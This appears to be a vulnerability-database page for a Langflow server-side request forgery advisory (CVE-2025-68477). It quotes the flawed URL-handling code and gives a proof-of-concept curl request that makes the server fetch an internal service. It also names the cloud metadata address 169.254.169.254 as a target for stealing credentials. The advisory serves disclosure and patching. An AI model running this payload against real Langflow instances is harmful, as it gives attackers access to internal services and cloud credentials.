GCVE Workshop - 22 September 2026 (14:00-18:00), Luxembourg Before The Vulnopticon Conference - Registration

GHSA-5993-7P27-66G5

Vulnerability from github – Published: 2025-12-19 22:52 – Updated: 2025-12-19 22:52
VLAI
Summary
Langflow vulnerable to Server-Side Request Forgery
Details

Vulnerability Overview

Langflow provides an API Request component that can issue arbitrary HTTP requests within a flow. This component takes a user-supplied URL, performs only normalization and basic format checks, and then sends the request using a server-side httpx client. It does not block private IP ranges (127.0.0.1, the 10/172/192 ranges) or cloud metadata endpoints (169.254.169.254), and it returns the response body as the result.

Because the flow execution endpoints (/api/v1/run, /api/v1/run/advanced) can be invoked with just an API key, if an attacker can control the API Request URL in a flow, non-blind SSRF is possible—accessing internal resources from the server’s network context. This enables requests to, and collection of responses from, internal administrative endpoints, metadata services, and internal databases/services, leading to information disclosure and providing a foothold for further attacks.

Vulnerable Code

  1. When a flow runs, the API Request URL is set via user input or tweaks, or it falls back to the value stored in the node UI.

    https://github.com/langflow-ai/langflow/blob/fa21c4e5f11a697431ef471d63ff70d20c05c6dd/src/backend/base/langflow/api/v1/endpoints.py#L349-L359

    python @router.post("/run/{flow_id_or_name}", response_model=None, response_model_exclude_none=True) async def simplified_run_flow( *, background_tasks: BackgroundTasks, flow: Annotated[FlowRead | None, Depends(get_flow_by_id_or_endpoint_name)], input_request: SimplifiedAPIRequest | None = None, stream: bool = False, api_key_user: Annotated[UserRead, Depends(api_key_security)], context: dict | None = None, http_request: Request, ):

    https://github.com/langflow-ai/langflow/blob/fa21c4e5f11a697431ef471d63ff70d20c05c6dd/src/backend/base/langflow/api/v1/endpoints.py#L573-L588

    bash @router.post( "/run/advanced/{flow_id_or_name}", response_model=RunResponse, response_model_exclude_none=True, ) async def experimental_run_flow( *, session: DbSession, flow: Annotated[Flow, Depends(get_flow_by_id_or_endpoint_name)], inputs: list[InputValueRequest] | None = None, outputs: list[str] | None = None, tweaks: Annotated[Tweaks | None, Body(embed=True)] = None, stream: Annotated[bool, Body(embed=True)] = False, session_id: Annotated[None | str, Body(embed=True)] = None, api_key_user: Annotated[UserRead, Depends(api_key_security)], ) -> RunResponse:

  2. Normalization/validation stage: It only checks that the URL is non-empty and well-formed. No blocking of private networks, localhost, or IMDS.

    https://github.com/langflow-ai/langflow/blob/fa21c4e5f11a697431ef471d63ff70d20c05c6dd/src/lfx/src/lfx/components/data/api_request.py#L280-L289

    ```python def _normalize_url(self, url: str) -> str: """Normalize URL by adding https:// if no protocol is specified.""" if not url or not isinstance(url, str): msg = "URL cannot be empty" raise ValueError(msg)

        url = url.strip()
    if url.startswith(("http://", "https://")):
        return url
    return f"https://{url}"

    ```

    https://github.com/langflow-ai/langflow/blob/fa21c4e5f11a697431ef471d63ff70d20c05c6dd/src/lfx/src/lfx/components/data/api_request.py#L433-L438

    ```python url = self._normalize_url(url)

        # Validate URL
    if not validators.url(url):
        msg = f"Invalid URL provided: {url}"
        raise ValueError(msg)

    ```

  3. On the server side, it sends a request to an arbitrary URL using httpx.AsyncClient and exposes the response body as metadata["result"].

    https://github.com/langflow-ai/langflow/blob/fa21c4e5f11a697431ef471d63ff70d20c05c6dd/src/lfx/src/lfx/components/data/api_request.py#L312-L322

    python try: # Prepare request parameters request_params = { "method": method, "url": url, "headers": headers, "json": processed_body, "timeout": timeout, "follow_redirects": follow_redirects, } response = await client.request(**request_params)

    https://github.com/langflow-ai/langflow/blob/fa21c4e5f11a697431ef471d63ff70d20c05c6dd/src/lfx/src/lfx/components/data/api_request.py#L335-L340

    python # Base metadata metadata = { "source": url, "status_code": response.status_code, "response_headers": response_headers, }

    https://github.com/langflow-ai/langflow/blob/fa21c4e5f11a697431ef471d63ff70d20c05c6dd/src/lfx/src/lfx/components/data/api_request.py#L364-L379

    ```python # Handle response content if is_binary: result = response.content else: try: result = response.json() except json.JSONDecodeError: self.log("Failed to decode JSON response") result = response.text.encode("utf-8")

            metadata["result"] = result

        if include_httpx_metadata:
            metadata.update({"headers": headers})

        return Data(data=metadata)

    ```

PoC

PoC Description

  • I launched a Langflow server using the latest langflowai/langflow:latest Docker container, and a separate container internal-api that exposes an internal-only endpoint /internal on port 8000. Both containers were attached to the same user-defined network (ssrf-net), allowing communication by name or via the IP 172.18.0.3.
  • I added an API Request node to a Langflow flow and set the URL to the internal service (http://172.18.0.3:8000/internal). Then I invoked /api/v1/run/advanced/<FLOW_ID> with an API key to perform SSRF. The response returned the internal service’s body in the result field, confirming non-blind SSRF.

PoC

  • Langflow Setting

    image

  • Exploit

    bash curl -s -X POST 'http://localhost:7860/api/v1/run/advanced/0b7f7713-d88c-4f92-bcf8-0dafe250ea9d' \ -H 'Content-Type: application/json' \ -H 'x-api-key: sk-HHc93OjH_4ep_EhfWrweP1IwpooJ3ZZnYOu-HgqJV4M' \ --data-raw '{ "inputs":[{"components":[],"input_value":""}], "outputs":["Chat Output"], "tweaks":{"API Request":{"url_input":"http://172.18.0.3:8000/internal","include_httpx_metadata":false}}, "stream":false }' | jq -r '.outputs[0].outputs[0].results.message.text | sub("^json\n";"") | sub("\n$";"") | fromjson | .result'

    image

Impact

  • Scanning internal assets and data exfiltration: Attackers can access internal administrative HTTP endpoints, proxies, metrics dashboards, and management consoles to obtain sensitive information (versions, tokens, configurations).
  • Access to metadata services: In cloud environments, attackers can use 169.254.169.254, etc., to steal instance metadata and credentials.
  • Foothold for attacking internal services: Can forge requests by abusing inter-service trust and become the starting point of an SSRF→RCE chain (e.g., invoking an internal admin API).
  • Non-blind: Because the response body is returned to the client, attackers can immediately view and exploit the collected data.
  • Risk in multi-tenant environments: Bypassing tenant boundaries can cause cross-leakage of internal network information, resulting in high impact. Even in single-tenant setups, the risk remains high depending on internal network policies.
Severity
7.7 (High)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "langflow"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.7.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-68477"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-12-19T22:52:59Z",
    "nvd_published_at": "2025-12-19T17:15:53Z",
    "severity": "HIGH"
  },
  "details": "**Vulnerability Overview**\n\n\nLangflow provides an API Request component that can issue arbitrary HTTP requests within a flow. This component takes a user-supplied URL, performs only normalization and basic format checks, and then sends the request using a server-side httpx client. It does not block private IP ranges (127.0.0.1, the 10/172/192 ranges) or cloud metadata endpoints (169.254.169.254), and it returns the response body as the result.\n\nBecause the flow execution endpoints (/api/v1/run, /api/v1/run/advanced) can be invoked with just an API key, if an attacker can control the API Request URL in a flow, non-blind SSRF is possible\u2014accessing internal resources from the server\u2019s network context. This enables requests to, and collection of responses from, internal administrative endpoints, metadata services, and internal databases/services, leading to information disclosure and providing a foothold for further attacks.\n\n**Vulnerable Code**\n \n1. When a flow runs, the API Request URL is set via user input or tweaks, or it falls back to the value stored in the node UI.\n    \n    https://github.com/langflow-ai/langflow/blob/fa21c4e5f11a697431ef471d63ff70d20c05c6dd/src/backend/base/langflow/api/v1/endpoints.py#L349-L359\n    \n    ```python\n    @router.post(\"/run/{flow_id_or_name}\", response_model=None, response_model_exclude_none=True)\n    async def simplified_run_flow(\n        *,\n        background_tasks: BackgroundTasks,\n        flow: Annotated[FlowRead | None, Depends(get_flow_by_id_or_endpoint_name)],\n        input_request: SimplifiedAPIRequest | None = None,\n        stream: bool = False,\n        api_key_user: Annotated[UserRead, Depends(api_key_security)],\n        context: dict | None = None,\n        http_request: Request,\n    ):\n    ```\n    \n    https://github.com/langflow-ai/langflow/blob/fa21c4e5f11a697431ef471d63ff70d20c05c6dd/src/backend/base/langflow/api/v1/endpoints.py#L573-L588\n    \n    ```bash\n    @router.post(\n        \"/run/advanced/{flow_id_or_name}\",\n        response_model=RunResponse,\n        response_model_exclude_none=True,\n    )\n    async def experimental_run_flow(\n        *,\n        session: DbSession,\n        flow: Annotated[Flow, Depends(get_flow_by_id_or_endpoint_name)],\n        inputs: list[InputValueRequest] | None = None,\n        outputs: list[str] | None = None,\n        tweaks: Annotated[Tweaks | None, Body(embed=True)] = None,\n        stream: Annotated[bool, Body(embed=True)] = False,\n        session_id: Annotated[None | str, Body(embed=True)] = None,\n        api_key_user: Annotated[UserRead, Depends(api_key_security)],\n    ) -\u003e RunResponse:\n    ```\n    \n2. Normalization/validation stage: It only checks that the URL is non-empty and well-formed. No blocking of private networks, localhost, or IMDS.\n    \n    https://github.com/langflow-ai/langflow/blob/fa21c4e5f11a697431ef471d63ff70d20c05c6dd/src/lfx/src/lfx/components/data/api_request.py#L280-L289\n    \n    ```python\n        def _normalize_url(self, url: str) -\u003e str:\n            \"\"\"Normalize URL by adding https:// if no protocol is specified.\"\"\"\n            if not url or not isinstance(url, str):\n                msg = \"URL cannot be empty\"\n                raise ValueError(msg)\n    \n            url = url.strip()\n            if url.startswith((\"http://\", \"https://\")):\n                return url\n            return f\"https://{url}\"\n    ```\n    \n    https://github.com/langflow-ai/langflow/blob/fa21c4e5f11a697431ef471d63ff70d20c05c6dd/src/lfx/src/lfx/components/data/api_request.py#L433-L438\n    \n    ```python\n            url = self._normalize_url(url)\n    \n            # Validate URL\n            if not validators.url(url):\n                msg = f\"Invalid URL provided: {url}\"\n                raise ValueError(msg)\n    ```\n    \n3. On the server side, it sends a request to an arbitrary URL using httpx.AsyncClient and exposes the response body as metadata[\"result\"].\n    \n    https://github.com/langflow-ai/langflow/blob/fa21c4e5f11a697431ef471d63ff70d20c05c6dd/src/lfx/src/lfx/components/data/api_request.py#L312-L322\n    \n    ```python\n            try:\n                # Prepare request parameters\n                request_params = {\n                    \"method\": method,\n                    \"url\": url,\n                    \"headers\": headers,\n                    \"json\": processed_body,\n                    \"timeout\": timeout,\n                    \"follow_redirects\": follow_redirects,\n                }\n                response = await client.request(**request_params)\n    ```\n    \n    https://github.com/langflow-ai/langflow/blob/fa21c4e5f11a697431ef471d63ff70d20c05c6dd/src/lfx/src/lfx/components/data/api_request.py#L335-L340\n    \n    ```python\n                # Base metadata\n                metadata = {\n                    \"source\": url,\n                    \"status_code\": response.status_code,\n                    \"response_headers\": response_headers,\n                }\n    ```\n    \n    https://github.com/langflow-ai/langflow/blob/fa21c4e5f11a697431ef471d63ff70d20c05c6dd/src/lfx/src/lfx/components/data/api_request.py#L364-L379\n    \n    ```python\n                # Handle response content\n                if is_binary:\n                    result = response.content\n                else:\n                    try:\n                        result = response.json()\n                    except json.JSONDecodeError:\n                        self.log(\"Failed to decode JSON response\")\n                        result = response.text.encode(\"utf-8\")\n    \n                metadata[\"result\"] = result\n    \n                if include_httpx_metadata:\n                    metadata.update({\"headers\": headers})\n    \n                return Data(data=metadata)\n    ```\n    \n\n### PoC\n\n---\n\n**PoC Description**\n \n- I launched a Langflow server using the latest `langflowai/langflow:latest` Docker container, and a separate container `internal-api` that exposes an internal-only endpoint `/internal` on port 8000. Both containers were attached to the same user-defined network (`ssrf-net`), allowing communication by name or via the IP 172.18.0.3.\n- I added an API Request node to a Langflow flow and set the URL to the internal service (`http://172.18.0.3:8000/internal`). Then I invoked `/api/v1/run/advanced/\u003cFLOW_ID\u003e` with an API key to perform SSRF. The response returned the internal service\u2019s body in the `result` field, confirming non-blind SSRF.\n\n**PoC**\n\n- Langflow Setting\n    \n    \u003cimg width=\"1917\" height=\"940\" alt=\"image\" src=\"https://github.com/user-attachments/assets/96b0d770-b260-440f-9205-1583c108e12f\" /\u003e\n    \n- Exploit\n    \n    ```bash\n    curl -s -X POST \u0027http://localhost:7860/api/v1/run/advanced/0b7f7713-d88c-4f92-bcf8-0dafe250ea9d\u0027 \\\n      -H \u0027Content-Type: application/json\u0027 \\\n      -H \u0027x-api-key: sk-HHc93OjH_4ep_EhfWrweP1IwpooJ3ZZnYOu-HgqJV4M\u0027 \\\n      --data-raw \u0027{\n        \"inputs\":[{\"components\":[],\"input_value\":\"\"}],\n        \"outputs\":[\"Chat Output\"],\n        \"tweaks\":{\"API Request\":{\"url_input\":\"http://172.18.0.3:8000/internal\",\"include_httpx_metadata\":false}},\n        \"stream\":false\n      }\u0027 | jq -r \u0027.outputs[0].outputs[0].results.message.text | sub(\"^```json\\\\n\";\"\") | sub(\"\\\\n```$\";\"\") | fromjson | .result\u0027\n    ```\n    \n    \u003cimg width=\"1918\" height=\"1029\" alt=\"image\" src=\"https://github.com/user-attachments/assets/4883029f-bd56-4c23-b5a3-6f8a84dbcce1\" /\u003e\n    \n\n### Impact\n\n---\n\n- Scanning internal assets and data exfiltration: Attackers can access internal administrative HTTP endpoints, proxies, metrics dashboards, and management consoles to obtain sensitive information (versions, tokens, configurations).\n- Access to metadata services: In cloud environments, attackers can use 169.254.169.254, etc., to steal instance metadata and credentials.\n- Foothold for attacking internal services: Can forge requests by abusing inter-service trust and become the starting point of an SSRF\u2192RCE chain (e.g., invoking an internal admin API).\n- Non-blind: Because the response body is returned to the client, attackers can immediately view and exploit the collected data.\n- Risk in multi-tenant environments: Bypassing tenant boundaries can cause cross-leakage of internal network information, resulting in high impact. Even in single-tenant setups, the risk remains high depending on internal network policies.",
  "id": "GHSA-5993-7p27-66g5",
  "modified": "2025-12-19T22:52:59Z",
  "published": "2025-12-19T22:52:59Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/langflow-ai/langflow/security/advisories/GHSA-5993-7p27-66g5"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-68477"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/langflow-ai/langflow"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Langflow vulnerable to Server-Side Request Forgery"
}



Log in or create an account to share your comment.




Tags
Taxonomy of the tags.





Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.


Detection rules are retrieved from Rulezet.


Related by attack behaviour

Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.